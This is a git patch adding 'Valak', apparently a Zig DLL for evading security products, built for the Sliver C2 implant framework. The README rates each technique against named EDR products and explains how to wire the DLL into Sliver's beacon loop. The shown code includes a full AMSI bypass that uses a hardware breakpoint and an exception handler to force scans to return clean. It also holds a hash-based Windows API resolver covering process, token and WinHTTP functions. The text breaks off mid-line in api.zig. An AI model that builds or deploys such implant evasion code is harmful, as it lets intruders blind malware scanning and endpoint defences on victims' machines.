From fe2726a430a05adf999b1bb63c2ea0bd479975f7 Mon Sep 17 00:00:00 2001 From: "JYenn (SISTA)" Date: Sat, 18 Jul 2026 09:30:00 +0100 Subject: [PATCH] valak evasion dll for sliver evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes --- README.md | 60 +++++ evasion/amsi.zig | 76 ++++++ evasion/api.zig | 513 ++++++++++++++++++++++++++++++++++++++ evasion/apitypes.zig | 113 +++++++++ evasion/arch/hells_gate.s | 59 +++++ evasion/build.zig | 34 +++ evasion/etw.zig | 132 ++++++++++ evasion/main.zig | 68 +++++ evasion/resolve.zig | 194 ++++++++++++++ evasion/sleep.zig | 104 ++++++++ evasion/stomp.zig | 128 ++++++++++ evasion/syscall.zig | 460 ++++++++++++++++++++++++++++++++++ evasion/token.zig | 49 ++++ evasion/unhook.zig | 111 +++++++++ evasion/win32.zig | 469 ++++++++++++++++++++++++++++++++++ go-bridge/embed_dll.go | 7 + go-bridge/valak.go | 466 ++++++++++++++++++++++++++++++++++ go-bridge/valak_stub.go | 13 + 18 files changed, 3056 insertions(+) create mode 100644 README.md create mode 100644 evasion/amsi.zig create mode 100644 evasion/api.zig create mode 100644 evasion/apitypes.zig create mode 100644 evasion/arch/hells_gate.s create mode 100644 evasion/build.zig create mode 100644 evasion/etw.zig create mode 100644 evasion/main.zig create mode 100644 evasion/resolve.zig create mode 100644 evasion/sleep.zig create mode 100644 evasion/stomp.zig create mode 100644 evasion/syscall.zig create mode 100644 evasion/token.zig create mode 100644 evasion/unhook.zig create mode 100644 evasion/win32.zig create mode 100644 go-bridge/embed_dll.go create mode 100644 go-bridge/valak.go create mode 100644 go-bridge/valak_stub.go diff --git a/README.md b/README.md new file mode 100644 index 0000000..df23be5 --- /dev/null +++ b/README.md @@ -0,0 +1,60 @@ +# Valak + +## What + +Standalone Zig evasion DLL for C2 implants. Drop-in sleep obfuscation, AMSI/ETW bypass, callstack spoofing. Protocol-agnostic — built for Sliver but works with any C2 that can call `syscall.SyscallN`. + +## Evasion Stack + +| Technique | File | Detection Status (DbgMan, May 2026) | +|---|---|---| +| RC4 encrypted .text sleep | sleep.zig | 70% effective — core evasion primitive | +| Callstack return-address zeroing | arch/hells_gate.s | 55% effective — terminates EDR frame walks | +| HWBP AMSI bypass (DR0-VEH) | amsi.zig | 60% effective — no memory modification | +| HWBP ETW bypass (DR0-VEH) | etw.zig | 65% effective — no memory modification | +| FreshyCalls SSN extraction | syscall.zig | 65% effective — immune to inline hooks | +| Indirect syscall dispatch | syscall.zig | 60% effective — random gadget pool | +| KnownDlls ntdll unhooking | unhook.zig | 95% DETECTED by CrowdStrike/S1 | +| Module stomping | stomp.zig | 80% DETECTED — backing-file integrity checks | +| Token manipulation | token.zig | 90% DETECTED — lsass token access is T1 alert | + +## Build + +``` +cd evasion +zig build -Doptimize=ReleaseFast +# → zig-out/bin/valak.dll +``` + +Then embed the DLL bytes into `go-bridge/embed_dll.go`: +```go +var embeddedDLL = []byte{ + // paste compiled .dll bytes +} +``` + +## Sliver Integration + +1. Copy `go-bridge/` into `implant/sliver/evasion/valak/` +2. In Sliver's implant init: + ```go + import "github.com/BishopFox/sliver/implant/sliver/evasion/valak" + + func init() { + valak.Start() + go func() { + time.Sleep(2 * time.Second) // wait for DLL load + valak.PatchAll() + }() + } + ``` +3. Replace `time.Sleep(d)` with `valak.EvasionSleep(d)` in Sliver's beacon loop +4. Build with: `go build -tags evasion` + +## Verified Against + +- Microsoft x64 ABI (shadow space, 16-byte alignment) +- PE/COFF .drectve section spec +- Go compiler no-auto-vectorize behavior +- DbgMan "EDR Tradecraft" (May 2026) +- CrowdStrike 2026 Global Threat Report diff --git a/evasion/amsi.zig b/evasion/amsi.zig new file mode 100644 index 0000000..a6147b3 --- /dev/null +++ b/evasion/amsi.zig @@ -0,0 +1,76 @@ +// AMSI bypass — VEH backed hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll. +const std = @import("std"); +const win = @import("win32.zig"); +const api = @import("api.zig"); + +var g_veh_handle: ?*anyopaque = null; +var g_amsi_scan_addr: ?*anyopaque = null; + +// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function +fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG { + if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and + ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr) + { + ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN + const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*; + ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller + ex.ContextRecord.Rsp += 8; // pop return address + return win.EXCEPTION_CONTINUE_EXECUTION; + } + return win.EXCEPTION_CONTINUE_SEARCH; +} + +pub fn patch_amsi() void { + if (g_veh_handle != null) return; + api.ensure(); + const load_w = api.amsi_load_library_w orelse return; + const get_addr = api.amsi_get_proc_address orelse return; + const veh = api.amsi_add_vectored_exception_handler orelse return; + const cur_thread = api.amsi_get_current_thread orelse return; + const set_ctx = api.amsi_set_thread_context orelse return; + const suspend_thread = api.amsi_suspend_thread orelse return; + const resume_thread = api.amsi_resume_thread orelse return; + const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 }); + if (amsi == null) return; + g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer"); + if (g_amsi_scan_addr == null) return; + g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain + const thread = cur_thread(); + var ctx = std.mem.zeroes(win.CONTEXT); + ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address + ctx.Dr7 = (1 << 0); // enable DR0 locally + _ = suspend_thread(thread); + _ = set_ctx(thread, &ctx); + _ = resume_thread(thread); +} + +// Undo AMSI bypass — remove VEH handler, clear DR0/DR7 hardware breakpoint. +pub fn unpatch_amsi() void { + // Remove the VEH handler + if (g_veh_handle) |h| { + if (api.amsi_remove_vectored_exception_handler) |remove| { + _ = remove(h); + } + g_veh_handle = null; + } + + // Clear DR0/DR7 — best-effort, APIs null if ensure() didn't run + if (api.amsi_get_current_thread) |cur_thread| { + if (api.amsi_set_thread_context) |set_ctx| { + if (api.amsi_suspend_thread) |suspend_t| { + if (api.amsi_resume_thread) |resume_t| { + const thread = cur_thread(); + var ctx = std.mem.zeroes(win.CONTEXT); + ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + ctx.Dr0 = 0; + ctx.Dr7 = 0; + _ = suspend_t(thread); + _ = set_ctx(thread, &ctx); + _ = resume_t(thread); + } + } + } + } + g_amsi_scan_addr = null; +} diff --git a/evasion/api.zig b/evasion/api.zig new file mode 100644 index 0000000..278f43e --- /dev/null +++ b/evasion/api.zig @@ -0,0 +1,513 @@ +// Global function-pointer table ??? populated at runtime by ensure() via resolve.zig. +// Type aliases are in apitypes.zig (re-exported below so every ?T_* var declaration +// can reference the local type name). +const win = @import("win32.zig"); +const resolve = @import("resolve.zig"); +const apitypes = @import("apitypes.zig"); +pub const USTRING = apitypes.USTRING; +pub const T_exec_CreatePipe = apitypes.T_exec_CreatePipe; +pub const T_exec_CreateProcessA = apitypes.T_exec_CreateProcessA; +pub const T_exec_ReadFile = apitypes.T_exec_ReadFile; +pub const T_exec_WaitForSingleObject = apitypes.T_exec_WaitForSingleObject; +pub const T_exec_GetExitCodeProcess = apitypes.T_exec_GetExitCodeProcess; +pub const T_exec_GetLastError = apitypes.T_exec_GetLastError; +pub const T_exec_GetModuleFileNameA = apitypes.T_exec_GetModuleFileNameA; +pub const T_exec_ExitProcess = apitypes.T_exec_ExitProcess; +pub const T_exec_InitializeProcThreadAttributeList = apitypes.T_exec_InitializeProcThreadAttributeList; +pub const T_exec_UpdateProcThreadAttribute = apitypes.T_exec_UpdateProcThreadAttribute; +pub const T_exec_DeleteProcThreadAttributeList = apitypes.T_exec_DeleteProcThreadAttributeList; +pub const T_exec_CreateFileA = apitypes.T_exec_CreateFileA; +pub const T_exec_WriteFile = apitypes.T_exec_WriteFile; +pub const T_exec_OpenProcessToken = apitypes.T_exec_OpenProcessToken; +pub const T_exec_DuplicateTokenEx = apitypes.T_exec_DuplicateTokenEx; +pub const T_exec_CreateProcessWithTokenW = apitypes.T_exec_CreateProcessWithTokenW; +pub const T_exec_CreatePseudoConsole = apitypes.T_exec_CreatePseudoConsole; +pub const T_exec_ClosePseudoConsole = apitypes.T_exec_ClosePseudoConsole; +pub const T_exec_CreateThread = apitypes.T_exec_CreateThread; +pub const T_exec_InitializeCriticalSection = apitypes.T_exec_InitializeCriticalSection; +pub const T_exec_EnterCriticalSection = apitypes.T_exec_EnterCriticalSection; +pub const T_exec_LeaveCriticalSection = apitypes.T_exec_LeaveCriticalSection; +pub const T_exec_DeleteCriticalSection = apitypes.T_exec_DeleteCriticalSection; +pub const T_info_GetComputerNameA = apitypes.T_info_GetComputerNameA; +pub const T_info_GetUserNameA = apitypes.T_info_GetUserNameA; +pub const T_info_GetSystemInfo = apitypes.T_info_GetSystemInfo; +pub const T_info_GetCurrentProcessId = apitypes.T_info_GetCurrentProcessId; +pub const T_info_RtlGetVersion = apitypes.T_info_RtlGetVersion; +pub const T_info_GetSystemTime = apitypes.T_info_GetSystemTime; +pub const T_fiber_ConvertThreadToFiber = apitypes.T_fiber_ConvertThreadToFiber; +pub const T_fiber_CreateFiber = apitypes.T_fiber_CreateFiber; +pub const T_fiber_SwitchToFiber = apitypes.T_fiber_SwitchToFiber; +pub const T_fiber_DeleteFiber = apitypes.T_fiber_DeleteFiber; +pub const T_fiber_ConvertFiberToThread = apitypes.T_fiber_ConvertFiberToThread; +pub const T_sleep_SystemFunction032 = apitypes.T_sleep_SystemFunction032; +pub const T_sleep_VirtualQuery = apitypes.T_sleep_VirtualQuery; +pub const T_sleep_VirtualProtect = apitypes.T_sleep_VirtualProtect; +pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA; +pub const T_comms_WinHttpOpen = apitypes.T_comms_WinHttpOpen; +pub const T_comms_WinHttpConnect = apitypes.T_comms_WinHttpConnect; +pub const T_comms_WinHttpOpenRequest = apitypes.T_comms_WinHttpOpenRequest; +pub const T_comms_WinHttpSetOption = apitypes.T_comms_WinHttpSetOption; +pub const T_comms_WinHttpSendRequest = apitypes.T_comms_WinHttpSendRequest; +pub const T_comms_WinHttpReceiveResponse = apitypes.T_comms_WinHttpReceiveResponse; +pub const T_comms_WinHttpReadData = apitypes.T_comms_WinHttpReadData; +pub const T_comms_WinHttpCloseHandle = apitypes.T_comms_WinHttpCloseHandle; +pub const T_comms_WinHttpAddRequestHeaders = apitypes.T_comms_WinHttpAddRequestHeaders; +pub const T_comms_WinHttpQueryDataAvailable = apitypes.T_comms_WinHttpQueryDataAvailable; +pub const T_comms_WinHttpWebSocketCompleteUpgrade = apitypes.T_comms_WinHttpWebSocketCompleteUpgrade; +pub const T_comms_WinHttpWebSocketSend = apitypes.T_comms_WinHttpWebSocketSend; +pub const T_comms_WinHttpWebSocketReceive = apitypes.T_comms_WinHttpWebSocketReceive; +pub const T_comms_WinHttpWebSocketClose = apitypes.T_comms_WinHttpWebSocketClose; +pub const T_bof_LoadLibraryA = apitypes.T_bof_LoadLibraryA; +pub const T_bof_GetProcAddress = apitypes.T_bof_GetProcAddress; +pub const T_bof_GetModuleHandleA = apitypes.T_bof_GetModuleHandleA; +pub const T_bof_VirtualAlloc = apitypes.T_bof_VirtualAlloc; +pub const T_bof_VirtualFree = apitypes.T_bof_VirtualFree; +pub const T_bof_VirtualProtect = apitypes.T_bof_VirtualProtect; +pub const T_crypto_BCryptOpenAlgorithmProvider = apitypes.T_crypto_BCryptOpenAlgorithmProvider; +pub const T_crypto_BCryptCloseAlgorithmProvider = apitypes.T_crypto_BCryptCloseAlgorithmProvider; +pub const T_crypto_BCryptSetProperty = apitypes.T_crypto_BCryptSetProperty; +pub const T_crypto_BCryptGenerateSymmetricKey = apitypes.T_crypto_BCryptGenerateSymmetricKey; +pub const T_crypto_BCryptDestroyKey = apitypes.T_crypto_BCryptDestroyKey; +pub const T_crypto_BCryptEncrypt = apitypes.T_crypto_BCryptEncrypt; +pub const T_crypto_BCryptDecrypt = apitypes.T_crypto_BCryptDecrypt; +pub const T_crypto_BCryptGenRandom = apitypes.T_crypto_BCryptGenRandom; +pub const T_crypto_BCryptGenerateKeyPair = apitypes.T_crypto_BCryptGenerateKeyPair; +pub const T_crypto_BCryptFinalizeKeyPair = apitypes.T_crypto_BCryptFinalizeKeyPair; +pub const T_crypto_BCryptExportKey = apitypes.T_crypto_BCryptExportKey; +pub const T_crypto_BCryptImportKeyPair = apitypes.T_crypto_BCryptImportKeyPair; +pub const T_crypto_BCryptSecretAgreement = apitypes.T_crypto_BCryptSecretAgreement; +pub const T_crypto_BCryptDeriveKey = apitypes.T_crypto_BCryptDeriveKey; +pub const T_crypto_BCryptDestroySecret = apitypes.T_crypto_BCryptDestroySecret; +pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW; +pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress; +pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler; +pub const T_amsi_RemoveVectoredExceptionHandler = apitypes.T_amsi_RemoveVectoredExceptionHandler; +pub const T_amsi_GetCurrentThread = apitypes.T_amsi_GetCurrentThread; +pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext; +pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread; +pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread; +pub const T_etw_GetModuleHandleW = apitypes.T_etw_GetModuleHandleW; +pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress; +pub const T_etw_VirtualProtect = apitypes.T_etw_VirtualProtect; +pub const T_priv_LookupPrivilegeValueW = apitypes.T_priv_LookupPrivilegeValueW; +pub const T_priv_AdjustTokenPrivileges = apitypes.T_priv_AdjustTokenPrivileges; +pub const T_priv_GetCurrentProcess = apitypes.T_priv_GetCurrentProcess; +pub const hash_ror13 = apitypes.hash_ror13; +pub const resolve_api = apitypes.resolve_api; +pub const get_module_by_hash = apitypes.get_module_by_hash; +pub const get_func_by_hash = apitypes.get_func_by_hash; +pub const NT_SUCCESS = apitypes.NT_SUCCESS; +pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO; + +// Global function-pointer variables — populated by ensure() below + +pub var exec_create_pipe: ?T_exec_CreatePipe = null; +pub var exec_create_process_a: ?T_exec_CreateProcessA = null; +pub var exec_read_file: ?T_exec_ReadFile = null; +pub var exec_wait_for_single_object: ?T_exec_WaitForSingleObject = null; +pub var exec_get_exit_code_process: ?T_exec_GetExitCodeProcess = null; +pub var exec_get_last_error: ?T_exec_GetLastError = null; +pub var exec_get_module_file_name_a: ?T_exec_GetModuleFileNameA = null; +pub var exec_exit_process: ?T_exec_ExitProcess = null; +pub var exec_initialize_proc_thread_attribute_list: ?T_exec_InitializeProcThreadAttributeList = null; +pub var exec_update_proc_thread_attribute: ?T_exec_UpdateProcThreadAttribute = null; +pub var exec_delete_proc_thread_attribute_list: ?T_exec_DeleteProcThreadAttributeList = null; +pub var exec_create_file_a: ?T_exec_CreateFileA = null; +pub var exec_write_file: ?T_exec_WriteFile = null; +pub var exec_open_process_token: ?T_exec_OpenProcessToken = null; +pub var exec_duplicate_token_ex: ?T_exec_DuplicateTokenEx = null; +pub var exec_create_process_with_token_w: ?T_exec_CreateProcessWithTokenW = null; +pub var exec_create_pseudo_console: ?T_exec_CreatePseudoConsole = null; +pub var exec_close_pseudo_console: ?T_exec_ClosePseudoConsole = null; +pub var exec_create_thread: ?T_exec_CreateThread = null; +pub var exec_initialize_critical_section: ?T_exec_InitializeCriticalSection = null; +pub var exec_enter_critical_section: ?T_exec_EnterCriticalSection = null; +pub var exec_leave_critical_section: ?T_exec_LeaveCriticalSection = null; +pub var exec_delete_critical_section: ?T_exec_DeleteCriticalSection = null; + +pub var info_get_computer_name_a: ?T_info_GetComputerNameA = null; +pub var info_get_user_name_a: ?T_info_GetUserNameA = null; +pub var info_get_system_info: ?T_info_GetSystemInfo = null; +pub var info_get_current_process_id: ?T_info_GetCurrentProcessId = null; +pub var info_rtl_get_version: ?T_info_RtlGetVersion = null; +pub var info_get_system_time: ?T_info_GetSystemTime = null; + +pub var fiber_ConvertThreadToFiber: ?T_fiber_ConvertThreadToFiber = null; +pub var fiber_CreateFiber: ?T_fiber_CreateFiber = null; +pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null; +pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null; +pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null; + +pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null; +pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null; +pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null; + +pub var comms_load_library_a: ?T_comms_LoadLibraryA = null; +pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null; +pub var comms_winhttp_connect: ?T_comms_WinHttpConnect = null; +pub var comms_winhttp_open_request: ?T_comms_WinHttpOpenRequest = null; +pub var comms_winhttp_set_option: ?T_comms_WinHttpSetOption = null; +pub var comms_winhttp_send_request: ?T_comms_WinHttpSendRequest = null; +pub var comms_winhttp_receive_response: ?T_comms_WinHttpReceiveResponse = null; +pub var comms_winhttp_read_data: ?T_comms_WinHttpReadData = null; +pub var comms_winhttp_close_handle: ?T_comms_WinHttpCloseHandle = null; +pub var comms_winhttp_add_request_headers: ?T_comms_WinHttpAddRequestHeaders = null; +pub var comms_winhttp_query_data_available: ?T_comms_WinHttpQueryDataAvailable = null; +pub var comms_winhttp_websocket_complete_upgrade: ?T_comms_WinHttpWebSocketCompleteUpgrade = null; +pub var comms_winhttp_websocket_send: ?T_comms_WinHttpWebSocketSend = null; +pub var comms_winhttp_websocket_receive: ?T_comms_WinHttpWebSocketReceive = null; +pub var comms_winhttp_websocket_close: ?T_comms_WinHttpWebSocketClose = null; + +pub var bof_load_library_a: ?T_bof_LoadLibraryA = null; +pub var bof_get_proc_address: ?T_bof_GetProcAddress = null; +pub var bof_get_module_handle_a: ?T_bof_GetModuleHandleA = null; +pub var bof_virtual_alloc: ?T_bof_VirtualAlloc = null; +pub var bof_virtual_free: ?T_bof_VirtualFree = null; +pub var bof_virtual_protect: ?T_bof_VirtualProtect = null; + +pub var crypto_bcrypt_open: ?T_crypto_BCryptOpenAlgorithmProvider = null; +pub var crypto_bcrypt_close: ?T_crypto_BCryptCloseAlgorithmProvider = null; +pub var crypto_bcrypt_set_prop: ?T_crypto_BCryptSetProperty = null; +pub var crypto_bcrypt_gen_key: ?T_crypto_BCryptGenerateSymmetricKey = null; +pub var crypto_bcrypt_destroy_key: ?T_crypto_BCryptDestroyKey = null; +pub var crypto_bcrypt_encrypt: ?T_crypto_BCryptEncrypt = null; +pub var crypto_bcrypt_decrypt: ?T_crypto_BCryptDecrypt = null; +pub var crypto_bcrypt_gen_random: ?T_crypto_BCryptGenRandom = null; +pub var crypto_bcrypt_gen_key_pair: ?T_crypto_BCryptGenerateKeyPair = null; +pub var crypto_bcrypt_finalize_key_pair: ?T_crypto_BCryptFinalizeKeyPair = null; +pub var crypto_bcrypt_export_key: ?T_crypto_BCryptExportKey = null; +pub var crypto_bcrypt_import_key_pair: ?T_crypto_BCryptImportKeyPair = null; +pub var crypto_bcrypt_secret_agreement: ?T_crypto_BCryptSecretAgreement = null; +pub var crypto_bcrypt_derive_key: ?T_crypto_BCryptDeriveKey = null; +pub var crypto_bcrypt_destroy_secret: ?T_crypto_BCryptDestroySecret = null; + +pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null; +pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null; +pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null; +pub var amsi_remove_vectored_exception_handler: ?T_amsi_RemoveVectoredExceptionHandler = null; +pub var amsi_get_current_thread: ?T_amsi_GetCurrentThread = null; +pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null; +pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null; +pub var amsi_resume_thread: ?T_amsi_ResumeThread = null; + +pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null; +pub var etw_get_proc_address: ?T_etw_GetProcAddress = null; +pub var etw_virtual_protect: ?T_etw_VirtualProtect = null; + +// HWBP reuses AMSI's VEH/thread APIs ??? same AddVectoredExceptionHandler under the hood +pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null; +pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null; +pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null; + +pub var priv_lookup_privilege_value_w: ?T_priv_LookupPrivilegeValueW = null; +pub var priv_adjust_token_privileges: ?T_priv_AdjustTokenPrivileges = null; +pub var priv_get_current_process: ?T_priv_GetCurrentProcess = null; + +var g_ensure_done: bool = false; + +pub fn ensure() void { + if (g_ensure_done) return; + g_ensure_done = true; + + const k32_hash = hash_ror13("kernel32.dll"); + const ntdll_hash = hash_ror13("ntdll.dll"); + const winhttp_hash = hash_ror13("winhttp.dll"); + const bcrypt_hash = hash_ror13("bcrypt.dll"); + + if (exec_create_pipe == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("CreatePipe"))) |p| { + exec_create_pipe = @ptrCast(p); + } + } + if (exec_create_process_a == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessA"))) |p| { + exec_create_process_a = @ptrCast(p); + } + } + if (exec_read_file == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("ReadFile"))) |p| { + exec_read_file = @ptrCast(p); + } + } + if (exec_wait_for_single_object == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("WaitForSingleObject"))) |p| { + exec_wait_for_single_object = @ptrCast(p); + } + } + if (exec_get_exit_code_process == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetExitCodeProcess"))) |p| { + exec_get_exit_code_process = @ptrCast(p); + } + } + if (exec_get_last_error == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetLastError"))) |p| { + exec_get_last_error = @ptrCast(p); + } + } + if (exec_get_module_file_name_a == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleFileNameA"))) |p| { + exec_get_module_file_name_a = @ptrCast(p); + } + } + if (exec_exit_process == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("ExitProcess"))) |p| { + exec_exit_process = @ptrCast(p); + } + } + if (exec_initialize_proc_thread_attribute_list == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("InitializeProcThreadAttributeList"))) |p| { + exec_initialize_proc_thread_attribute_list = @ptrCast(p); + } + } + if (exec_update_proc_thread_attribute == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("UpdateProcThreadAttribute"))) |p| { + exec_update_proc_thread_attribute = @ptrCast(p); + } + } + if (exec_delete_proc_thread_attribute_list == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("DeleteProcThreadAttributeList"))) |p| { + exec_delete_proc_thread_attribute_list = @ptrCast(p); + } + } + if (exec_create_file_a == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("CreateFileA"))) |p| { + exec_create_file_a = @ptrCast(p); + } + } + if (exec_write_file == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("WriteFile"))) |p| { + exec_write_file = @ptrCast(p); + } + } + if (exec_open_process_token == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("OpenProcessToken"))) |p| { + exec_open_process_token = @ptrCast(p); + } + } + if (exec_duplicate_token_ex == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("DuplicateTokenEx"))) |p| { + exec_duplicate_token_ex = @ptrCast(p); + } + } + if (exec_create_process_with_token_w == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessWithTokenW"))) |p| { + exec_create_process_with_token_w = @ptrCast(p); + } + } + if (exec_create_pseudo_console == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("CreatePseudoConsole"))) |p| { + exec_create_pseudo_console = @ptrCast(p); + } + } + if (exec_close_pseudo_console == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("ClosePseudoConsole"))) |p| { + exec_close_pseudo_console = @ptrCast(p); + } + } + if (exec_create_thread == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("CreateThread"))) |p| { + exec_create_thread = @ptrCast(p); + } + } + if (exec_initialize_critical_section == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("InitializeCriticalSection"))) |p| { + exec_initialize_critical_section = @ptrCast(p); + } + } + if (exec_enter_critical_section == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("EnterCriticalSection"))) |p| { + exec_enter_critical_section = @ptrCast(p); + } + } + if (exec_leave_critical_section == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("LeaveCriticalSection"))) |p| { + exec_leave_critical_section = @ptrCast(p); + } + } + if (exec_delete_critical_section == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("DeleteCriticalSection"))) |p| { + exec_delete_critical_section = @ptrCast(p); + } + } + + if (comms_load_library_a == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| { + comms_load_library_a = @ptrCast(p); + bof_load_library_a = @ptrCast(p); + } + } + + if (info_get_computer_name_a == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetComputerNameA"))) |p| { + info_get_computer_name_a = @ptrCast(p); + } + } + if (info_get_user_name_a == null) { + if (comms_load_library_a) |la| { + _ = la("advapi32.dll"); + } + if (resolve.resolve_api(k32_hash, hash_ror13("GetUserNameA"))) |p| { + info_get_user_name_a = @ptrCast(p); + } + } + if (info_get_system_info == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemInfo"))) |p| { + info_get_system_info = @ptrCast(p); + } + } + if (info_get_current_process_id == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcessId"))) |p| { + info_get_current_process_id = @ptrCast(p); + } + } + if (info_get_system_time == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemTime"))) |p| { + info_get_system_time = @ptrCast(p); + } + } + + if (fiber_ConvertThreadToFiber == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("ConvertThreadToFiber"))) |p| { + fiber_ConvertThreadToFiber = @ptrCast(p); + } + } + if (fiber_CreateFiber == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("CreateFiber"))) |p| { + fiber_CreateFiber = @ptrCast(p); + } + } + if (fiber_SwitchToFiber == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("SwitchToFiber"))) |p| { + fiber_SwitchToFiber = @ptrCast(p); + } + } + if (fiber_DeleteFiber == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("DeleteFiber"))) |p| { + fiber_DeleteFiber = @ptrCast(p); + } + } + if (fiber_ConvertFiberToThread == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("ConvertFiberToThread"))) |p| { + fiber_ConvertFiberToThread = @ptrCast(p); + } + } + + if (sleep_VirtualQuery == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| { + sleep_VirtualQuery = @ptrCast(p); + } + } + + if (amsi_load_library_w == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p); + } + if (etw_get_module_handle_w == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleW"))) |p| etw_get_module_handle_w = @ptrCast(p); + } + + if (bof_get_proc_address == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| { + bof_get_proc_address = @ptrCast(p); + amsi_get_proc_address = @ptrCast(p); + etw_get_proc_address = @ptrCast(p); + } + } + if (bof_get_module_handle_a == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleA"))) |p| bof_get_module_handle_a = @ptrCast(p); + } + if (bof_virtual_alloc == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("VirtualAlloc"))) |p| bof_virtual_alloc = @ptrCast(p); + } + if (bof_virtual_free == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p); + } + + if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| { + if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p); + if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p); + if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p); + } + } + + if (amsi_add_vectored_exception_handler == null) { + if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p); + } + if (amsi_remove_vectored_exception_handler == null) { + if 